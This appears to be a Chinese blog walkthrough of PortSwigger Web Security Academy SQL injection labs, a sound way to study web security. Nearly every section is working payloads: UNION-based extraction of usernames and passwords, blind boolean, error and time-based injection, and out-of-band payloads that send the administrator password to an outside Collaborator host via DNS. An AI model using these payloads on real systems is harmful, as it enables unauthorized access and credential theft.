portswigger 靶场之 SQL 注入篇

前言

偶然发现 burp 竟有官方靶场,且配备有视频观看,不胜惊叹,遂记录于下

All labs | Web Security Academy (portswigger.net)

WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

  • 目的为查看隐藏的数据,所有产品

  • URL 中输入单引号,查看是否存在漏洞,服务器返回一个错误,借以得知容易受到 SQL 注入攻击

  • URL 中输入'+OR+1=1-- (查询字符串中空格被编码成+号)

    • 数据库执行的 SQL 查询则为

    • SELECT * FROM products 
      WHERE category = ''or 1=1-- ' AND released = 1
      
    • 通过'来闭合参数,-- 来注释后半部分

  • bp

允许绕过登录的 SQL 注入漏洞

  • 目的为以管理员用户登录应用程序
  • 尝试账号密码为admin。网页显示,Invalid username or password,无效的用户名或密码,故此不知道是用户名还是密码错误。
  • 从实验室说明中查的用户名为administrator
  • Username中输入any' or 1=1 -- ,密码随便写毕竟会被注释掉
    • any'来闭合参数,or一个为真即可通过,-- 是 sql 的注释语法注释掉后面的密码
  • Username中输入administrator'-- ,密码随便写毕竟会被注释掉
  • 浏览器连上代理,在登录页面用 bp 抓包,修改其参数

SQL 注入 UNION 攻击,确定查询返回的列数

  • 目的为查找列数为多少,两种方法,可以用order byunion
    • ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序
    • UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
  • URL 中输入' order by 1-- ' order by 2-- ' order by 3--
    • 网站正常显示
    • 直到输入了“ ' order by 4--”,服务器抛出了一个错误,这表明试图排序的列不存在,也就是说只有 3 列
  • URL 中输入' union select null-- ' union select null,null--
    • 服务器皆返回了一个错误,这表明不只有一两列存在
    • ' union select null,null,null-- 网站正常显示,这说明是有三列数据存在
  • 在 bp 中
    • 浏览器需要进行 URL 编码,在 bp 中 可以用快捷键 Ctrl + U 来为其添加
    • 确定列数为 3

SQL 注入 UNION 攻击,查找包含文本的列

  • 通过枚举' order by 数字--'得知总共有 3 列数据存在
  • 然后在' union select null,'1',null-- 的参数中替换字符串数据借以得知与哪列相匹配
    • 错误的话,说明不是字符串类型的
    • 成功,数据类型是“字符串”
  • 最后替换文中所给的字符串

SQL注入 UNION 攻击,从其他表中检索数据

  • 检索所有用户名和密码,administrator

  • 得知数据库包列名为users username password

  • 通过联合查询查找空字符串,' union select null,null--得知可以返回两列

  • 测试' union select '1','2'--得知两列为字符串类型

  • 最后通过' union select username,password from users--得知账号密码登录即可

    • 后台 SQL 查询为

      select & from products 
      where category = 'Gifts' union select username,password from users-- ' AND released = 1
      

SQL注入UNION攻击,在单个列中检索多个值

  • ' order by'来迭代

    • ' order by 3服务器显示错误提示,得知列数为 2
  • 通过 ' union select null,'a'-- 来看是否接收字符串类型

    • 页面正常输出表示可以接受字符串类型
  • 数据库

    • ' union select null,version()--——查询PostgreSQL数据库版本

      • 网站返回结果,说明数据库是PostgreSQL
    • ' union select null,@@version--——查询MySQL数据库版本

      • 失败
  • 在单个列中检索需要用到字符串的连接PostgreSQL的连接为||

    • ' union select null,username ||'_'|| password from users--
      • administrator_9wif5hcpr46lfc99l2yi

SQL注入攻击,查询 Oracle 上的数据库类型和版本

  • ' order by'来迭代找到列数

    • ' order by 3-- '500,实践证明列数为 2
  • -- Oracle 查询数据库版本
    Oracle	SELECT banner FROM v$version
    
    SELECT version FROM v$instance
    
  • 在 URL 或者 bp 软件中输入' union select null,banner from v$version-- '

SQL注入攻击,在 MySQL 和 Microsoft 上查询数据库类型和版本

  • 依然是 '+order+by+3--+两列

  • ' union select @@version,null--

SQL注入攻击,列出非 Oracle 数据库上的数据库内容

  • 通过' union select null,null-- '查得是两列

  • 其次确定每列的字段数据类型

  • 查询数据库类型

    • PostgreSQL 查询数据库应为' union select version(),null-- ',查询结果为 200,说明数据库是PostgreSQL

      • PostgreSQL
        SELECT * FROM information_schema.tables
        ELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
  • 紧接着,要列出数据库中存在的以及这些表包含的

      • ' union select table_name,null from information_schema.tables-- '——查询数据库的表名
      • 一般users_开头的表名,存放着用户名和密码,所以 Ctrl + f 搜索users_
      • 找到了users_squiqq
      • ' union select column_name,null from information_schema.columns where table_name='users_squiqq'-- '
      • username_fklyld
      • password_vqihba
  • 检索所有的用户名和密码

    • ' union select username_fklyld,password_vqihba from users_squiqq--
    • 找到 administrator 的密码为 kb1zf7n2k5jf1gxst3q8

SQL注入攻击,列出Oracle上的数据库内容

  • 确定列数为 2 ,' union select null,null from dual--

    • 数据库 Oracle 查询需要加 from dual
  • 查看每列的数据类型

    • ' union select 'a','b' from dual-- ,页面 200,表明是字符型
  • 因为数据库是“Oracle”

    • Oracle
      SELECT * FROM all_tables
      SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`
  • 紧接着,要列出数据库中存在的以及这些表包含的

    • 从 [SQL injection cheat sheet](SQL injection cheat sheet | Web Security Academy (portswigger.net))中找到 Oracle 的数据表是 all_tables

    • 通过搜索 all_tables Oracle 找到表的字段名是TABLE_NAME

    • 找到包含用户密码的表的名字

      • ' union select TABLE_NAME,null from all_tables--
      • 一般users_开头的表名,存放着用户名和密码,所以 Ctrl + f 搜索users_得到USERS_EKARCY
    • 找到包含用户密码的列的名字

      • 从 [SQL injection cheat sheet](SQL injection cheat sheet | Web Security Academy (portswigger.net))中找到 all_tab_columns,这是一个数据表的名字;通过搜索 all_tab_columns Oracle找到表的字段名是COLUMN_NAME
      • ' union select COLUMN_NAME,null from all_tab_columns where table_name = 'USERS_EKARCY'--
      • USERNAME_VYRGKY
      • PASSWORD_TWCYAQ
    • 最后查询用户名和密码登录即可

      • ' union select USERNAME_VYRGKY,PASSWORD_TWCYAQ from USERS_EKARCY--
      • administrator;q6jra0hcl8lu1hmjge4m

具有条件响应的盲 SQL 注入

  • 目标为枚举管理员密码,以管理员用户登录。如果查询有结果,页面会显示“welcome back”
  • 首先要确认参数容易受到 SQL 注入
    • 在 cookie 中注入参数
      • welcome back --> true

        • ' and 1=1--
        • TrackingId=fL8CZZ0ptOt9cR8T' and 1=1--,前面参数一定是 true, 1=1 也是 true
      • no welcome back --> false

        • TrackingId=fL8CZZ0ptOt9cR8T' and 1=0--,前面参数一定是 true, 1=0 是 false。true and false = false
    • 服务器根据' and 1=1--(true)和' and 1=0--(false)做出不同响应,所以可以使用盲注来推断数据库中的内容

  • 确认数据库中存在用户表"users"

    • ' and (select 'x' from users limit 1) = 'x'--

    • 'x' = 'x' --> true;返回 welcome back

    • limit 子句用于限制 SELECT 语句中查询的数据的数量,limit 1,限制查询结果为 1

  • 确认用户表中有用户名字段“administrator”
    • ' and (select username from users where username='administrator') = 'administrator'--
    • 'administrator' = 'administrator' --> true;返回 welcome back,说明 administrator 的用户名字段存在

  • 找到管理员用户 administrator 的密码长度
    • ' and (select 'a' from users where username='administrator' and length(password)>1)='a'--
    • 'a'='a'--> true;返回 welcome back
    • send to intruder

  • 测试对应位置的密码字符
    • 用到一个函数,SUBSTRING(password,m,n),password 是字段名,m 是检索的起始位置,n 是数量。SUBSTRING() 函数从字符串中提取一些字符
    • 使用 burp 的 Cluster bomb 爆破,随即登录即可
      • ' and (select SUBSTRING(password,1,1) from users where username='administrator')='a'--
      • f9126lip1a49h41x6b17

不是很懂,参考了视频(4) SQL Injection - Lab #11 Blind SQL injection with conditional responses - YouTube

具有条件错误的盲 SQL 注入

  • 审题

    • 题目中依旧是给出了数据表 users,字段 usernamepassword,账户名 administrator
    • 本练习使用 Oracle 数据库
    • 应用程序不会根据查询是否返回任何行而做出任何不同的响应
    • 如果 SQL 查询导致错误,则应用程序将返回自定义错误消息。
  • 证明参数是易受攻击的

    • 添加' --> 返回了 500
    • 删除' --> 返回了 200
    • ' || (select '') ||' --> 返回了 500,说明数据库是 oracle database
    • ' || (select '' from dual) ||' --> 返回了 200
    • ' || (select '' from abcde) ||' --> 返回了 500,abcde 是编造的不存在的数据表

  • 验证该users表是否存在

    • '||(select '' from users where rownum = 1)||' --> 200 说明了 users 是表存在的

      1. rownum = 1

        • 代表查询返回一行
        • MySQL 支持 LIMIT 语句来选取指定的条数数据
          • Oracle 可以使用 ROWNUM 来选取
      2. ||

        • 在 Oracle中,|| 运算符可以将两个或两个以上的字符串连接在一起。string1 || string2
  • 确认管理员administrator字段

    • '||(select case when(1=1) then to_char(1/0) else '' end from users where username='administrator' )||' --> 500,验证条件(when (1=1))是否为真,接收到错误的时候为真(1/0),即确定存在管理员字段administrator

    • case
      when (1=1) then to_char(1/0)
      else ''
      end
      -- 1/0 会导致错误
      
    • CASE表达式可以在 SQL 中实现if-then-else型的逻辑

      case
      when 判断语句1 then 返回1
      when 判断语句2 then 返回2
      ……
      else 返回n
      end
      
  • 密码的长度

    • '||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator' )||' -- 500,条件(条件是密码长度大于 1)为真返回错误

  • 最后确认密码

    • 同样是使用SUBSTR()函数从密码中提取单个字符

    • '||(select case when substr(password,1,1)='a' then to_char(1/0) else'' end from users where username='administrator')||'

    • case
      when substr(password,1,1)='a' then to_char(1/0)
      else ''
      end
      
    • 输出 http 状态码为 500 的时候,说明找到了密码

      • administrator
      • th7zlh5neuj8mfp5eu4e

具有时间延迟的盲 SQL 注入

  • 首先确定数据库是哪个

    • '||(select sleep(10))-- ' -->

    • '||(select pg_sleep(10))-- ' --> 发现需要 10s 的响应时间

    • select tracking-id from tracking-table
      where trackingid='pvhzsNX3X3hoWEpS'||(select pg_sleep(10))-- ';
      

具有时间延迟和信息检索的盲SQL注入

  • 查看是否存在 SQL 注入

    • x'%3BSELECT+CASE+WHEN(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- --> 验证需要 10s 的延迟

    • x'%3BSELECT+CASE+WHEN(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- --> 不延迟

    • %3b 是为了关闭初始查询,亦即;

      URL Decode

  • 是否存在用户 administrator

    • x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- --> 延迟说明存在 administrator
  • 确认密码长度

    • x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- --> 延迟说明密码长度大于 1,后续直接 send to intruder,最后获知长度为 20
  • 确认密码

    • 依旧是使用SUBSTRING()函数,不再一一述说了
    • x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--

带外交互的盲 SQL 注入

  • 目的为利用 SQL 注入漏洞并导致 DNS 查找
  • 用 bp 获得域名,点击左上角的“Burp Collaborator client”,
    • mi8yxtn3qtnpoh63xlday2g2ltrjf8.oastify.com
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://mi8yxtn3qtnpoh63xlday2g2ltrjf8.oastify.com/"> %remote;]>'),'/l') FROM dual--
EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://mi8yxtn3qtnpoh63xlday2g2ltrjf8.oastify.com/"> %remote;]>'),'/l')

EXTRACTVALUE函数接受一个XMLType实例和一个XPath表达式作为参数,并返回结果节点的标量值。

带外数据泄露的盲 SQL 注入

  • 依旧是上个题目的套路
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.pa3ibzffnv0xwjux3xrj6wdci3oucj.oastify.com/"> %remote;]>'),'/l') FROM dual--

通过 XML 3编码绕过过滤器的 SQL 注入

posted @ 2022-12-29 11:23  跛一一  阅读(1037)  评论(0编辑  收藏  举报